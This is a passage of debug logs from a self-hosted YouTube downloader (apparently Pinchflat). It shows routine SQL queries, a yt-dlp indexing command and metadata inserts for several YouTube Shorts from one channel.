= ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 17:20:46.059 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT count(*) FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 17:20:46.059 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:46.059 [debug] QUERY OK source="settings" db=0.1ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:46.059 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:46.065 [debug] QUERY OK source="media_items" db=0.2ms idle=6.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."source_id" = ?) ORDER BY m0."uploaded_at" DESC LIMIT 50 OFFSET 20 [1] 17:20:46.067 [debug] Running yt-dlp command for action: get_media_attributes_for_collection 17:20:46.067 [debug] Current batch of media processed. Will check again in 1000ms 17:20:46.067 [debug] QUERY OK source="settings" db=0.2ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:46.067 [debug] QUERY OK source="settings" db=0.1ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:46.068 [debug] QUERY OK source="settings" db=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:20:46.068 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@MichaelSukutJesus --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Michael Sukut/Season %(upload_date>%Y)S/s%(upload_date>%Y)Se%(upload_date>%m%d)S00 - %(title)S.%(ext)S --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/2a/e7/2ae7a4db01229528b8e92931754964133b945a6521f0807d7cd0fafb85e8fec6.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/dd/8f/dd8f28a8ffea5d2ef1c73b4ad7d5af334b9c16aab9cd331537ae18667791a0d2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:20:46.881 [info] {"source":"oban","duration":1289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:20:47.068 [debug] Current batch of media processed. Will check again in 1000ms 17:20:48.069 [debug] Current batch of media processed. Will check again in 1000ms 17:20:49.070 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", "id" => "BSkDL35jiAY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/BSkDL35jiAY", "playlist_index" => 1, "timestamp" => 1749158462, "title" => "Demons. Pt.10", "upload_date" => "20250605"} 17:20:49.071 [debug] QUERY OK source="sources" db=0.2ms idle=1787.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:49.071 [debug] QUERY OK source="sources" db=0.2ms idle=1788.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:49.072 [debug] QUERY OK source="media_items" db=0.2ms idle=1018.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 21:21:02Z], 1] 17:20:49.072 [debug] QUERY OK source="media_items" db=0.6ms idle=788.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.10", "68c83310-afc9-42bc-8d1b-038145fdabef", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", 1, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 21:21:02Z], ~U[2026-08-20 00:20:49Z], ~U[2026-08-20 00:20:49Z], "", "Demons. Pt.10", "BSkDL35jiAY", 180, false, "https://www.youtube.com/shorts/BSkDL35jiAY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.10.mp4", true, 1, ~U[2025-06-05 21:21:02Z]] 17:20:49.073 [debug] QUERY OK source="sources" db=0.2ms idle=17.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:49.073 [debug] QUERY OK source="media_profiles" db=0.2ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:49.074 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 17:20:49.074 [debug] Current batch of media processed. Will check again in 1000ms 17:20:50.075 [debug] Current batch of media processed. Will check again in 1000ms 17:20:51.076 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 173, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", "id" => "uObiA41rItQ", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/uObiA41rItQ", "playlist_index" => 2, "timestamp" => 1749157148, "title" => "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "upload_date" => "20250605"} 17:20:51.077 [debug] QUERY OK source="sources" db=0.3ms idle=793.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:51.077 [debug] QUERY OK source="sources" db=0.1ms idle=794.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:51.078 [debug] QUERY OK source="media_items" db=0.2ms idle=794.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:59:08Z], 1] 17:20:51.079 [debug] QUERY OK source="media_items" db=1.4ms idle=794.9ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "1a2f154c-1ed2-4caf-b8c7-a84cd39fee17", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", 2, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:59:08Z], ~U[2026-08-20 00:20:51Z], ~U[2026-08-20 00:20:51Z], "", "Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬", "uObiA41rItQ", 173, false, "https://www.youtube.com/shorts/uObiA41rItQ", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.9 Melchizedek Pt.3 Carrie Lynn Jones aka Say-Tan in the FLESH. Ex-wife of Elohim. 😬.mp4", true, 1, ~U[2025-06-05 20:59:08Z]] 17:20:51.080 [debug] QUERY OK source="sources" db=0.2ms idle=21.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:51.080 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:51.081 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2] 17:20:51.081 [debug] Current batch of media processed. Will check again in 1000ms 17:20:52.082 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", "id" => "vmwlPoPSyiY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/vmwlPoPSyiY", "playlist_index" => 3, "timestamp" => 1749155297, "title" => "Demons. Pt. 8. Melchizedek pt.2", "upload_date" => "20250605"} 17:20:52.083 [debug] QUERY OK source="sources" db=0.3ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:52.083 [debug] QUERY OK source="sources" db=0.2ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:52.084 [debug] QUERY OK source="media_items" db=0.2ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:28:17Z], 1] 17:20:52.085 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.1ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt. 8. Melchizedek pt.2", "010047bf-7e6b-44e5-bcf3-fea33753d8ee", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", 3, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:28:17Z], ~U[2026-08-20 00:20:52Z], ~U[2026-08-20 00:20:52Z], "", "Demons. Pt. 8. Melchizedek pt.2", "vmwlPoPSyiY", 180, false, "https://www.youtube.com/shorts/vmwlPoPSyiY", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt. 8. Melchizedek pt.2.mp4", true, 1, ~U[2025-06-05 20:28:17Z]] 17:20:52.085 [debug] QUERY OK source="sources" db=0.1ms idle=24.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:52.085 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:52.086 [debug] QUERY OK source="media_items" db=0.1ms idle=2.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3] 17:20:52.086 [debug] Current batch of media processed. Will check again in 1000ms 17:20:53.087 [debug] FileFollowerServer Handler: Got media attributes: %{"aspect_ratio" => 0.56, "description" => "", "duration" => 180, "filename" => "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", "id" => "gjpV5R_MvW4", "live_status" => "not_live", "original_url" => "https://www.youtube.com/shorts/gjpV5R_MvW4", "playlist_index" => 4, "timestamp" => 1749154082, "title" => "Demons. Pt.7 Melchizedek. Pt.1", "upload_date" => "20250605"} 17:20:53.088 [debug] QUERY OK source="sources" db=0.2ms idle=1002.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [1] 17:20:53.088 [debug] QUERY OK source="sources" db=0.1ms idle=1003.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:53.088 [debug] QUERY OK source="media_items" db=0.1ms idle=1003.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-06-05 20:08:02Z], 1] 17:20:53.089 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.0ms INSERT INTO "media_items" AS m0 ("title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Demons. Pt.7 Melchizedek. Pt.1", "a8ad4cdd-67f0-4609-b8ca-afe3068a8dbe", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", 4, "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", false, false, true, 1, [], 89, ~U[2025-06-05 20:08:02Z], ~U[2026-08-20 00:20:53Z], ~U[2026-08-20 00:20:53Z], "", "Demons. Pt.7 Melchizedek. Pt.1", "gjpV5R_MvW4", 180, false, "https://www.youtube.com/shorts/gjpV5R_MvW4", "/downloads/shows/Michael Sukut/Season 2025/s2025e060500 - Demons. Pt.7 Melchizedek. Pt.1.mp4", true, 1, ~U[2025-06-05 20:08:02Z]] 17:20:53.090 [debug] QUERY OK source="sources" db=0.1ms idle=27.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 17:20:53.090 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:20:53.090 [debug] QUERY OK source="media_items" db=0.2ms idle=2.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 